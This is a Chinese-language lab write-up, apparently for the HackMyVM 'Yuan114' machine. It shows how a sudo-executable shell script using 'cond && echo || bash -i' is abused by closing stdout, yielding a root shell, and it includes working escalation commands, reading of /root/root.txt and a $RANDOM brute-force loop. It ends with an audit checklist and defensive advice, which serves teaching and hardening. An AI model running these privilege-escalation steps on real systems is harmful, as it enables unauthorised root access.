sudo Shell 脚本逻辑缺陷提权
当普通用户可以通过 sudo 执行某个 Shell 脚本时,风险不只来自 PATH 劫持或可写脚本。脚本自身的条件判断、重定向、错误处理和随机数逻辑也可能让攻击者绕过预期分支。
第一阶段:枚举 sudo 权限
sudo -l
关注这些信息:
| 信息 | 风险 |
|---|---|
| 可执行脚本路径 | 是否能读脚本内容 |
NOPASSWD | 是否无需密码即可重复调用 |
| 参数限制 | 是否固定参数,还是任意参数 |
| 环境保留 | 是否保留危险环境变量 |
| 解释器 | Bash、Python、Perl 等利用面不同 |
典型缺陷:cmd1 && cmd2 || cmd3
Shell 中常见写法:
[ "$1" != "$My_guess" ] && echo "Nop" || bash -i
作者可能以为逻辑是:
猜错 -> echo Nop
猜对 -> bash -i
实际逻辑是:
条件为真 -> 执行 echo Nop -> 如果 echo 失败 -> 继续执行 bash -i
条件为假 -> 跳过 echo Nop -> 执行 bash -i
也就是说,只要能让中间的 echo 失败,即使猜错也会落入 || bash -i。
方法 A:关闭 stdout 诱导 echo 失败
关闭标准输出:
sudo /opt/short.sh pwned >&-
此时 echo "Nop" 写 stdout 会失败,脚本进入 || bash -i。由于 stdout 已关闭,交互回显可能异常,可以先用盲打方式把结果写入临时文件:
cat /root/root.txt > /tmp/flag.txt
exit
cat /tmp/flag.txt
方法 B:恢复交互回显
拿到 root shell 后,把 stdout 指向 stderr:
sudo /opt/short.sh pwned >&-
exec 1>&2
id
whoami
如果看到:
uid=0(root) gid=0(root) groups=0(root)
说明已经获得 root 上下文。
方法 C:碰撞 Bash $RANDOM
Bash $RANDOM 范围是 0-32767。如果脚本每次运行时用它生成目标值,也可以尝试暴力碰撞:
for i in {0..32767}; do
sudo /opt/short.sh "$i" <<< "cat /root/root.txt" 2>/dev/null | grep "flag" && break
done
这种方式直观,但通常不如利用逻辑短路稳定。它受 sudo 调用开销、脚本随机数生成时机、输出处理方式影响。
Yuan114 案例
Yuan114 中,welcome 可以通过 sudo 执行 /opt/short.sh。脚本使用:
[ "$1" != "$My_guess" ] && echo "Nop" || bash -i
关闭 stdout 后,echo 报错触发 bash -i,从普通用户切到 root shell。完整过程见:HackMyVM Yuan114 通关记录。
审计清单
看到 sudo 脚本时,优先检查:
- 脚本是否可读,是否调用其他可写文件。
- 是否使用相对路径或未固定
PATH。 - 是否有
cmd1 && cmd2 || cmd3这种伪三元写法。 - 中间命令失败是否会进入高权限分支。
- 是否信任
$RANDOM、时间戳、临时文件名等低熵值。 - 是否把用户输入拼进命令、文件名或解释器参数。
- 是否能通过关闭 stdin/stdout/stderr 改变逻辑。
防御建议
- sudo 白名单中尽量放二进制程序或经过严格审计的脚本。
- Shell 条件判断使用明确的
if/then/else,不要用cmd1 && cmd2 || cmd3表达安全分支。 - 关键命令失败时应显式退出:
set -euo pipefail也要配合错误处理理解后再使用。 - 对 stdout/stderr 关闭、管道失败、命令失败都要有预期行为。
- 不要用 Bash
$RANDOM作为安全边界。